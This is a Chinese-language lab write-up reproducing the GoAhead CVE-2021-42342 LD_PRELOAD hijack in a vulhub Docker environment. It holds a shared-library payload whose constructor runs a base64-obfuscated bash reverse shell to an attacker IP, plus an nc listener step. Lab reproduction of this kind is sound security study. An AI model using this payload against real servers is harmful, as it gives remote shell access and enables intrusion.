漏洞描述
GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server,多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序。
这个漏洞是CVE-2017-17562漏洞补丁的绕过,攻击者可以利用该补丁没有考虑到的multipart表单控制目标服务器的环境变量,进而劫持LD_PRELOAD
来执行任意代码。
安装https协议、CA证书、dirmngr
apt-get update
apt-get install -y apt-transport-https ca-certificates
apt-get install dirmngr
添加GPG密钥并添加更新源
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -
echo ‘deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable’ | sudo tee /etc/apt/sources.list.d/docker.list
系统更新以及安装docker
apt-get update&&apt install docker-ce
启动docker服务器 和compose
service docker start || apt install docker-compose
下载安装vulhub
git clone https://github.com/vulhub/vulhub.git
漏洞复现
攻击:192.168.1.162
目标:192.168.1.240
启动环境/vulhub-master/goahead/CVE-2021-42342
docker-compose up -d
编写测试poc
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World\r\n\r\n", 16);
write(1, "Hacked\n", 7);
}
before_main函数将在程序执行前被调用。编译以下代码:
gcc -s -shared -fPIC ./payload.c -o payload.so
动态链接库中编写的劫持代码已经被成功执行
编写反弹shell
#include <stdio.h>
#include <stdlib.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
system("bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'");
}
bash:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTYyLzk5OTkgMD4mMQ==
重新上述步骤
nc监听
参考链接
https://blog.csdn.net/Wiofgb/article/details/126651816
https://blog.csdn.net/Tauil/article/details/126200858